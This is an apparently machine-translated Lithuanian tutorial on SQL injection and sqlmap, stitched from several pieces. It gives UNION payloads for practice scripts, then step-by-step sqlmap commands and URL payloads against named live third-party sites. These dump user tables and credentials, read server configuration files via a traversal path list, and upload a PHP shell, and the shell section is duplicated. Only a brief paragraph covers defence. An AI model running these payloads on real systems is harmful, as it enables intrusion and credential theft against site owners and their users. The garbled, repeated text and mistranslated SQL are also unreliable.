Apvalkalo užpildymas SQLmap. Korpuso su SQLmap įkėlimas Informacijos gavimas iš duomenų bazių

Apvalkalo užpildymas SQLmap. Korpuso su SQLmap įkėlimas Informacijos gavimas iš duomenų bazių

28.07.2023

Sveikinimai, skaitytojau. Pastaruoju metu užsiimu žiniatinklio sauga ir tam tikru mastu darbas su tuo susijęs. Nes Vis dažniau pradėjau pastebėti temas įvairiuose forumuose, su prašymu parodyti, kaip visa tai veikia, nusprendžiau parašyti straipsnį. Straipsnis bus skirtas tiems, kurie su tuo nesusidūrė, bet norėtų išmokti. Internete yra palyginti daug straipsnių šia tema, tačiau pradedantiesiems jie yra šiek tiek sudėtingi. Pasistengsiu viską aprašyti aiškia kalba ir išsamiais pavyzdžiais.

Pratarmė

Norint suprasti šį straipsnį, jums tikrai nereikia SQL žinių, bet bent jau geros kantrybės ir šiek tiek smegenų - įsiminti.

Tikiu, kad vieno straipsnio skaitymo neužteks, nes. mums reikia gyvų pavyzdžių - kaip žinote, praktika įsiminimo procese nėra nereikalinga. Todėl mes rašysime pažeidžiamus scenarijus ir mokysime juos.

Kas yra SQL injekcija?
Paprasčiau tariant, tai yra ataka prieš duomenų bazę, kuri leis atlikti kai kuriuos veiksmus, kurių scenarijaus kūrėjas neplanavo. Realaus gyvenimo pavyzdys:

Tėvas raštelyje mamai parašė, kad ji davė Vasjai 100 rublių ir padėjo ant stalo. Perdirbus tai į juokingą SQL kalbą, gauname:
GAUK 100 RUBLIŲ IŠ SAVO PINIGINĖS IR ATIDUOK Vasjai

Kadangi tėvas raštelį parašė blogai (negremėzdiška rašysena) ir paliko jį ant stalo, Vasios brolis Petja ją pamatė. Petya, būdama įsilaužėlis, pridėjo „OR Petya“ ir gavo tokį prašymą:
GAUKITE 100 RUBLIŲ IŠ SAVO PINIGINĖS IR ATVEIKITE Vasjai ARBA Petjai

Mama, perskaičiusi raštelį, nusprendė, kad vakar davė pinigų Vasjai ir atidavė Petjai 100 rublių. Štai paprastas SQL įpurškimo pavyzdys iš realaus gyvenimo :) Nefiltruodama duomenų (mama vos galėjo išskirti rašyseną), Petya uždirbo.

Paruošimas
Praktikai jums reikės archyvo su šio straipsnio šaltinio scenarijais. Atsisiųskite jį ir išpakuokite jį serveryje. Taip pat importuokite duomenų bazę ir nustatykite duomenis faile cfg.php

SQL injekcijos paieška

Kaip jau supratote, injekcija gaunama iš gaunamų duomenų, kurie nėra filtruojami. Dažniausia klaida – nefiltruojamas perduotas ID. Na, grubiai tariant, pakaitinės citatos visose srityse. Nesvarbu, ar tai GAUTI / PASTAUTI, ar net slapukas!

Skaitinis įvesties parametras
Praktikai mums reikia scenarijaus index1.php. Kaip sakiau aukščiau, naujienų ID pakeičiame citatas.

Nes mūsų užklausoje nėra filtravimo:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Scenarijus tai supras kaip

SELECT * FROM news WHERE id=1"

Ir tai duos mums klaidą:
Įspėjimas: mysql_fetch_array() tikisi, kad 1 parametras bus išteklius, loginė reikšmė pateikta C:\WebServ\domains\sqlinj\index1.php 16 eilutėje

Jei klaida nerodoma, gali būti šios priežastys:

1.SQL injekcijos čia nėra – Citatos filtruojamos arba tiesiog konvertuojamos į (int)
2. Išjungta klaidų išvestis.

Jei vis dėlto buvo padaryta klaida - Ura! Mes radome pirmąjį SQL įvedimo tipą – skaitinį įvesties parametrą.

Stygos įvesties parametras

Prašymai bus siunčiami adresu index2.php. Šiame faile užklausa atrodo taip:
$vartotojas = $_GET["vartotojas"]; $query = "SELECT * FROM news WHERE user="$user"";

Čia mes atrenkame naujienas pagal vartotojo vardą ir vėl – nefiltruojame.
Vėl siunčiame užklausą su citata:

Tai davė klaidą. GERAI! Taigi yra pažeidžiamumas. Mums to pakanka, kad galėtume pradėti – pradėkime praktiką.

Imkimės veiksmų

Šiek tiek teorijos

Tikriausiai nekantraujate iš to ką nors išgauti, išskyrus klaidas. Pirmiausia supraskite, kad ženklas " -- “ yra laikomas komentaru SQL kalba.

DĖMESIO! Prieš ir po jo turi būti tarpai. URL jie perduodami kaip %20

Viskas po komentaro bus atmesta. Tai yra užklausa:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Vykdyti sėkmingai. Galite išbandyti tai naudodami index2.php scenarijų, išsiųsdami tokią užklausą:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Sužinokite parametrą SĄJUNGOS. SQL kalboje raktinis žodis SĄJUNGOS naudojamas dviejų SQL užklausų rezultatams sujungti į vieną lentelę. Tai yra, norėdami ištraukti kažką, ko mums reikia iš kitos lentelės.

Mes tuo pasinaudojame

Jei parametras yra "Skaičių", tada užklausoje nereikia siųsti citatos ir, žinoma, įdėti komentarą pabaigoje. Atgal į scenarijų index1.php.

Pereikime prie scenarijaus sqlinj/index1.php?id=1 UNION SELECT 1 . Mūsų duomenų bazės užklausa atrodo taip:
PASIRINKTI * IŠ naujienų WHERE id=1 SĄJUNGOS PASIRINKTI 1
Ir jis padarė mums klaidą, nes. Norėdami dirbti su užklausų agregavimu, mums reikia tiek pat laukų.

Nes Kadangi pirmojoje užklausoje negalime paveikti jų skaičiaus, antroje turime pasirinkti jų skaičių, kad jis būtų lygus pirmajam.

Mes pasirenkame laukų skaičių

Laukų pasirinkimas labai paprastas, tereikia atsiųsti šias užklausas:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Klaida…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Vėl klaida!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Klaidos nėra! Taigi stulpelių skaičius yra 5.

GRUPUOTI PAGAL
Dažnai pasitaiko, kad laukų gali būti 20 ar 40, o gal net 60. Kad nereikėtų jų kaskart pereiti, naudojame GRUPUOTI PAGAL

Jei prašymas
sqlinj/index1.php?id=1 GROUP BY 2
nepateikė jokių klaidų, todėl laukelių skaičius yra didesnis nei 2. Bandome:

sqlinj/index1.php?id=1 GROUP BY 8
Op, matome klaidą, todėl laukų skaičius yra mažesnis nei 8.

Jei nėra klaidos su GROUP BY 4, bet yra klaida su GROUP BY 6, tada laukų skaičius yra 5

Ekrano stulpelių apibrėžimas
Kad nuo pirmos užklausos nieko nebūtų rodoma, pakanka pakeisti neegzistuojantį ID, pavyzdžiui:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Atlikdami šį veiksmą nustatėme, kurie stulpeliai bus rodomi puslapyje. dabar, norėdami pakeisti šiuos skaičius norima informacija, turite tęsti užklausą.

Duomenų išvestis

Tarkime, žinome, kad lentelė vis dar egzistuoja vartotojų kuriuose yra laukai id, vardas Ir praeiti.
Turime gauti informacijos apie vartotoją, kurio ID=1

Taigi sukurkime tokią užklausą:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM vartotojų WHERE id=1
Scenarijus taip pat tęsiamas

Norėdami tai padaryti, vietoj skaičių 1 ir 3 pakeisime laukų pavadinimus

sqlinj/index1.php?id=-1 UNION SELECT pavadinimas,2,pass,4,5 FROM user WHERE id=1
Gavome tai, ko mums reikėjo!

„Eilutės įvesties parametrui“ kaip scenarijuje index2.php pradžioje reikia įdėti kabutę, o pabaigoje – komentaro ženklą. Pavyzdys:
sqlinj/index2.php?user=-1" UNION SELECT vardas,2,pass,4,5 FROM vartotojų WHERE id=1 --%20

Skaityti / rašyti failus

Kad galėtų skaityti ir rašyti failus, duomenų bazės vartotojas turi turėti FILE_PRIV leidimus.
Failų rašymas
Tiesą sakant, viskas yra labai paprasta. Norėdami parašyti failą, naudosime funkciją OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 Į OUTFILE "1.php" --%20
Puiku, mes turime failą. Taigi galime įkelti mini apvalkalą:
sqlinj/index2.php?user=-1" UNION SELECT 1"",3,4,5 Į OUTFILE "1.php" --%20
Failų skaitymas
Skaityti failus dar lengviau nei juos rašyti. Pakanka tik naudoti funkciją LOAD_FILE, mūsų pasirinktai lauko vietai:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 -%20

Taigi, mes perskaitėme ankstesnį rašytinį failą.

Apsaugos metodai

Apsaugoti save yra dar lengviau nei išnaudoti pažeidžiamumą. Tiesiog filtruokite duomenis. Jei perduodate skaičius, naudokite
$id = (int) $_GET["id"];
Kaip pasiūlė vartotojas malroc. Ginti naudojant SKVN arba parengtus pareiškimus.

Užuot užbaigę

Tuo noriu užbaigti savo pirmąją dalį apie „SQL injekciją pradedantiesiems“. Antrajame apžvelgsime sunkesnius injekcijų pavyzdžius. Pabandykite patys rašyti pažeidžiamus scenarijus ir vykdyti užklausas.
Ir atminkite, nepasitikėkite jokiu savo svetainės naudotoju.

Spoileris: .DZEN

Mes turime SQL injekciją svetainėje, kuri atrodo taip,

Visų pirma, pageidautina, kad patikrintume, ar turime teisių rašyti failus užpultame šaltinyje, tam įkeliame terminalą ir išduodame šią komandą:

http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Paspaudžiame Enter ir prasideda mūsų SQL injekcijos analizė, ataskaita atrodo taip:

Kaip matote, ataskaitoje yra „Apache“ versija, „MySQL“ versija ir serveryje įdiegtos OS versija, visa tai mums bus naudinga ateityje, bet svarbiausia – matote, kad turime leidimas rašyti failus, tai rodoma eilutėje Dabartinis vartotojas yra DBA: Tiesa

Kitas mūsų žingsnis yra rasti kelius, kaip parašyti mūsų apvalkalą. Kelią į mūsų svetainę galime rasti serveryje atsisiuntę httpd.conf failą. Informaciją apie httpd.conf failo vietą gauname naudodami „Google“, galite ieškoti pagal įdiegtos OS versiją arba labiausiai tikėtinų kelių sąrašą. Apskritai, aš nesigilinsiu į naršymą paieškos sistemose, tik tada, kai išsiaiškinome labiausiai tikėtiną kelio į failą vietą, laikas atsisiųsti šį failą į mūsų diską, tam įvedame šią komandą ir užklausą kad failas būtų skaitomas serveryje:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Iš karto pastebime, kad ne visada įmanoma rasti šį konfigūracijos failą pirmą kartą, todėl galite naudoti labiausiai tikėtinus kelius, kur gali būti šis failas:

GALIMIŲ KELIŲ Į KONFIGŪROS FAILĄ SĄRAŠAS:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Mes gauname ataskaitą iš sqlmap tokia forma:

Kaip matote, sqlmap mums pasakė, kad failo dydis yra toks pat kaip ir serveryje, todėl mes turime teisę skaityti šį failą. Jei nebūtų pakankamai teisių perskaityti šį failą, atsiras klaida, kad mūsų kompiuteryje išsaugotas failas yra kitokio dydžio nei failas serveryje arba serveryje nėra failo mūsų nurodytu keliu ir niekada buvo. Sqlmap išsaugojo mūsų failą ataskaitų failuose, o norint jį perskaityti, reikia paleisti langų tvarkyklę. Norėdami paleisti langų tvarkyklę, atidarome kitą terminalo langą ir įveskite komandą:

Toliau atsidariusiame tvarkyklėje einame keliu, kur sqlmap pridėjo failą, t.y.:
/root/.sqlmap/output/sacoor.com
Tada užveskite pelės žymeklį virš failo, paspauskite klaviatūros mygtuką F3 ir perskaitykite Apache konfigūracijos failą:

Iš mūsų konfigūracijos failo matome, kad mūsų svetainė yra serveryje šiuo keliu:
/home/sbshop/site/

Dabar, kai turime šiek tiek informacijos, galime pabandyti įkelti apvalkalą, tam įvedame šią komandą:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Įvedus komandą, sqlmap paklaus, kokio tipo užpildą norime naudoti, nes mūsų atveju svetainė yra PHP, tada įkelsime PHP įkroviklį, pasirinksime 4 elementą ir paspauskite Enter. Tada sqlmap paprašys pasirinkti, kur įkelsime savo įkroviklį, ir nuo to laiko. mes jau žinome kelią į savo svetainę serveryje, tada pasirinkite 2 elementą, paspauskite Enter ir nurodykite kelią į svetainę:
/home/sbshop/site/

Po to paspauskite Enter ir pamatysite šią ataskaitą:

Tokiu atveju sqlmap praneša, kad neturime rašymo teisių į šį aplanką. Nesijaudinkite, šią problemą pakankamai lengva išspręsti. Mes duodame komandą paleisti uniscan ir patikrinti, ar failuose ir aplankuose yra galimybė rašyti, čia yra komanda.

Kas yra sqlmap, kam jis skirtas

Programa leidžia patikrinti, ar svetainėse nėra SQL injekcijos, XSS pažeidžiamumų, taip pat išnaudoti SQL injekciją. Palaikomi įvairūs SQL injekcijų tipai ir įvairios duomenų bazės.

Ką galima padaryti su sqlmap

Su sqlmap galite:

  • patikrinkite, ar svetainėse nėra pažeidžiamumų

Jei svetainė yra pažeidžiama SQL injekcijos, tai įmanoma:

  • gauti informaciją iš duomenų bazės, įskaitant (visos) duomenų bazės iškeltą
  • keisti ir ištrinti informaciją iš duomenų bazės
  • įkelti apvalkalą (backdoor) į žiniatinklio serverį

Vienas iš sqlmap naudojimo scenarijų:

  • Vartotojo vardo ir slaptažodžio gavimas iš duomenų bazės
  • Ieškoti svetainės administravimo skydelių (admin panel)
  • Prisijunkite prie administratoriaus skydelio naudodami gautą vartotojo vardą ir slaptažodį

Esant pažeidžiamumui, ataka gali išsivystyti įvairiomis kryptimis:

  • Duomenų modifikavimas
  • užpakalinių durų liejimas
  • „JavaScript“ kodo įvedimas norint gauti vartotojo duomenis
  • Jautienos užkabinimo kodo įdiegimas

Kaip matome, SQL injekcija yra labai pavojingas pažeidžiamumas, suteikiantis užpuolikui puikių galimybių.

Svetainių tikrinimas naudojant sqlmap

Jei svetainė gauna duomenis iš vartotojo naudojant GET metodą (kai naršyklės adreso juostoje matomas ir kintamojo pavadinimas, ir perduodami duomenys), tuomet reikia pasirinkti puslapio, kuriame yra šis kintamasis, adresą. Jis ateina po klaustuko ? ), Pavyzdžiui:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

Pirmajame adresu kintamojo pavadinimas yra id, o perduota vertė yra 8 . Antrajame adresu taip pat yra kintamojo pavadinimas id, ir perduota vertė 22 . Trečiame pavyzdyje kintamojo pavadinimas yra tas pats, bet perduota reikšmė yra p_36. Tas pats kintamojo pavadinimas yra atsitiktinis skirtingų svetainių atitikimas, jis gali būti bet kas, tai gali būti bet kokie perduoti duomenys, gali būti keli kintamieji, kurių reikšmės atskirtos simboliu & .

Jei norime patikrinti, ar ID kintamasis yra pažeidžiamas SQL injekcijos, turime įvesti visą adresą – http://www.dwib.org/faq2.php?id=8 (ne http://www.dwib .org /faq2.php arba http://www.dwib.org).

Komanda patikrinti kintamąjį, perduodamą GET metodu, yra labai paprasta:

Sqlmap -u site_url

Šiose svetainėse komandos bus tokios:

sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Patikrinimo proceso metu sqlmap gali užduoti įvairių klausimų ir į juos reikia atsakyti. y(t. y. taip) arba n(t.y. ne). Raidės y ir n gali būti didžiosios arba mažosios. Didžioji raidė reiškia numatytąjį pasirinkimą, jei sutinkate su juo, tiesiog paspauskite Enter.

Situacijų ir klausimų pavyzdžiai:

Euristika aptiko, kad taikinys yra apsaugotas tam tikra WAF/IPS/IDS ar norite, kad sqlmap bandytų aptikti WAF/IPS/IDS užpakalinę programą?

Euristika nustatė, kad taikinys yra apsaugotas tam tikra WAF / IPS / IDS. Ar norite, kad sqlmap bandytų nustatyti WAF/IPS/IDS pavadinimą?

Mano mėgstamiausias prašymas:

Euristinis (pagrindinis) testas rodo, kad GET parametras „id“ gali būti įterpiamas (galimas DBVS: „MySQL“). SQL įvedimo GET parametre „id“ testavimas atrodo, kad galinė DBVS yra „MySQL“. Ar norite praleisti tikrinimo naudingąsias apkrovas, būdingas kitoms DBVS?

Esmė ta, kad euristika nustatė, kad parametras gali būti pažeidžiamas, o nuotolinė DBVS jau apibrėžta, mūsų klausiama, ar norime tęsti tikrinimą. Antroje ekrano kopijoje svetainė taip pat yra pažeidžiama XSS.

Jei norite automatizuoti procesą, kad sqlmap neklaustų jūsų kiekvieną kartą, o naudotų numatytąjį pasirinkimą (visada yra geresnių variantų), tuomet galite paleisti komandą su parinktimi --partija:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Galimos problemos nuskaitant sqlmap

Gali pasirodyti ši klaida:

Baigėsi skirtasis ryšys su tiksliniu URL. Jei problema išlieka, sqlmap dar kartą bandys pateikti užklausą, patikrinkite, ar pateiktas tikslinis URL yra tinkamas. Jei taip, galite pabandyti paleisti iš naujo įjungę jungiklį „--random-agent“ ir (arba) tarpinio serverio jungiklius („--ignore-proxy“, „--proxy“,...)

Tai reiškia, kad svetainė nenori "kalbėti" su sqlmap. Kaip alternatyva, mums siūloma naudoti -- Atsitiktinis agentas. Jei galite stebėti svetainę naršyklėje, o sqlmap rašo apie nesugebėjimą prisijungti, tada svetainė ignoruoja užklausas, sutelkdama dėmesį į vartotojo agentą. Parinktis --random-agent pakeičia numatytąją sqlmap reikšmę į atsitiktines:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Kita šios klaidos priežastis gali būti jūsų IP blokavimas svetainėje – tuomet reikia naudoti tarpinį serverį. Jei jau naudojate tarpinį serverį ir pasirodo ši klaida, tai gali reikšti, kad tarpinis serveris turi ryšio problemų ir verta bandyti be jo.

sqlmap nuskaitymo rezultatai

Rastos SQL injekcijos rodomos taip:

Tie. yra paryškinti paryškinta žalia spalva, parašytas pažeidžiamo parametro pavadinimas, SQL pažeidžiamumo tipas ir žodis injekcinis.

Duomenų bazių sąrašo gavimas naudojant sqlmap

Norėdami gauti duomenų bazių sąrašą, naudokite parinktį --dbs. Pavyzdžiai:

sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Informacijos gavimas iš duomenų bazių

Pavyzdžiui, svetainėje wellerpools.com buvo rastos dvi duomenų bazės:

[*] informacijos_schema [*] pagrindiniai_wellerpools

Noriu sužinoti main_wellerpools duomenų bazės lentelių sąrašą. Norėdami tai padaryti, naudokite parinktį -- lenteles. Be to, po parinkties turime nurodyti mus dominančią lentelę -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Lentelių sąrašas:

Dėl tam tikrų priežasčių noriu gauti stulpelių sąrašą iš vartotojų lentelės. Norėdami tai padaryti, naudokite parinktį -- stulpeliai. Be to, turime nurodyti mus dominančią duomenų bazę ( -D main_wellerpools) ir po rakto -T lentelė, kurios stulpelių sąrašą norime matyti:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Norėdami rodyti turinį, naudokite parinktį -- sąvartynas. Jį galima nurodyti kartu su duomenų baze, tada visa duomenų bazė bus išmesta arba galite apriboti duomenis viena lentele ar net vienu stulpeliu. Su šia komanda noriu pamatyti visos vartotojų lentelės turinį:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Pažvelkite į slaptažodžius – paviršutiniškai patikrinęs maniau, kad tai maišos. Administratoriai tikrai bandė gintis, bet jiems tai nepadėjo.

Beje, kadangi parametras, kuris priima GET metodu siunčiamus duomenis, yra pažeidžiamas, galima tiesiogiai naršyklės eilutėje suformuoti užklausą taip, kad vartotojo prisijungimas ir slaptažodis būtų rodomi tiesiai pačioje svetainėje:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(naudotojo_vardas,0x3a,user_pwd),3,4,5,6,7,8,9, 10+iš+naudotojų--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+iš+naudotojų--

Tie. turime svetainės naudotojų (ir greičiausiai net administratorių) vartotojo vardą, slaptažodį ir el. Jei galite rasti svetainės administracinį skydelį, galite valdyti svetainę arba žiniatinklio serverį. Atsižvelgiant į vartotojų meilę tiems patiems slaptažodžiams ir žinant jų pašto dėžutes, galite pabandyti nulaužti paštą.

Apskritai SQL injekcija yra labai pavojingas pažeidžiamumas.

Na, prie temos:

Spoileris: apvalkalo užpildymas

Mes turime SQL injekciją svetainėje, kuri atrodo taip,

Jei norite matyti nuorodas, turite būti prisijungę.


Visų pirma, pageidautina, kad patikrintume, ar turime teisių rašyti failus užpultame šaltinyje, tam įkeliame terminalą ir išduodame šią komandą:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Spustelėkite Įeikite ir prasideda mūsų SQL injekcijos analizė, ataskaita atrodo taip:

Kaip matote, ataskaitoje yra „Apache“ versija, „MySQL“ versija ir serveryje įdiegtos OS versija, visa tai mums bus naudinga ateityje, bet svarbiausia – matote, kad turime leidimas rašyti failus, tai rodoma eilutėje Dabartinis vartotojas yra DBA: Tiesa

Kitas mūsų žingsnis yra rasti kelius, kaip parašyti mūsų apvalkalą. Kelią į mūsų svetainę galime gauti serveryje atsisiųsdami failą httpd.conf. Informaciją apie httpd.conf failo vietą gauname naudodami „Google“, galite ieškoti pagal įdiegtos OS versiją arba labiausiai tikėtinų kelių sąrašą. Apskritai, aš nesigilinsiu į naršymą paieškos sistemose, tik tada, kai išsiaiškinome labiausiai tikėtiną kelio į failą vietą, laikas atsisiųsti šį failą į mūsų diską, tam įvedame šią komandą ir užklausą kad failas būtų skaitomas serveryje:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Iš karto pastebime, kad ne visada įmanoma rasti šį konfigūracijos failą pirmą kartą, todėl galite naudoti labiausiai tikėtinus kelius, kur gali būti šis failas:

GALIMIŲ KELIŲ Į KONFIGŪROS FAILĄ SĄRAŠAS:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Mes gauname ataskaitą iš sqlmap tokia forma:


Kaip matote, sqlmap mums pasakė, kad failo dydis yra toks pat kaip ir serveryje, todėl mes turime teisę skaityti šį failą. Jei nebūtų pakankamai teisių perskaityti šį failą, atsiras klaida, kad mūsų kompiuteryje išsaugoto failo dydis skiriasi nuo failo serveryje arba serveryje nėra failo mūsų nurodytu keliu ir niekada buvo. Sqlmap išsaugojo mūsų failą ataskaitų failuose, o norint jį perskaityti, reikia paleisti langų tvarkyklę. Norėdami paleisti langų tvarkyklę, atidarome kitą terminalo langą ir įveskite komandą:

Toliau atsidariusiame tvarkyklėje einame keliu, kur sqlmap pridėjo failą, t.y.:
/root/.sqlmap/output/sacoor.com
Tada, užvesdami pelės žymeklį virš failo, paspauskite mygtuką F3 klaviatūroje ir perskaitykite Apache konfigūracijos failą:


Iš mūsų konfigūracijos failo matome, kad mūsų svetainė yra serveryje šiuo keliu:
/home/sbshop/site/

Dabar, kai turime šiek tiek informacijos, galime pabandyti įkelti apvalkalą, tam įvedame šią komandą:

Įvedus komandą, sqlmap paklaus, kokio tipo užpildą norime naudoti, nes mūsų atveju svetainė yra PHP, tada įkelsime PHP kroviklis, pasirinkti 4 punktas ir paspauskite Enter. Tada sqlmap paprašys pasirinkti, kur įkelsime savo įkroviklį, ir nuo to laiko. mes jau žinome kelią į mūsų svetainę serveryje, tada pasirinkite 2 punktas, paspauskite Įeikite ir nurodykite kelią į svetainę:
/home/sbshop/site/

O po to spaudžiame Įeikite ir žiūrėkite šią ataskaitą:


Tokiu atveju sqlmap praneša, kad neturime rašymo teisių į šį aplanką. Nesijaudinkite, šią problemą pakankamai lengva išspręsti. Mes suteikiame komandą paleisti uniscan ir patikrinti, ar failuose ir aplankuose yra galimybė rašyti, čia yra komanda:

Uniscan -u http://www.sacoor.com/ -qwe

Dabar skaitytuvas patikrins visus įrašomus katalogus:


Skaitytuvas rado tris katalogus su galimybe rašyti failus, todėl bandome dar kartą įkelti savo apvalkalo įkroviklį, bet šį kartą kitu būdu. Dar kartą paleiskite komandą:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

ir pasirenkant 4 punktas(užpildydami PHP scenarijų), nurodykite kelią:
/home/sbshop/site/admin

Matome štai ką.



© 2023 globusks.ru - Automobilių remontas ir priežiūra pradedantiesiems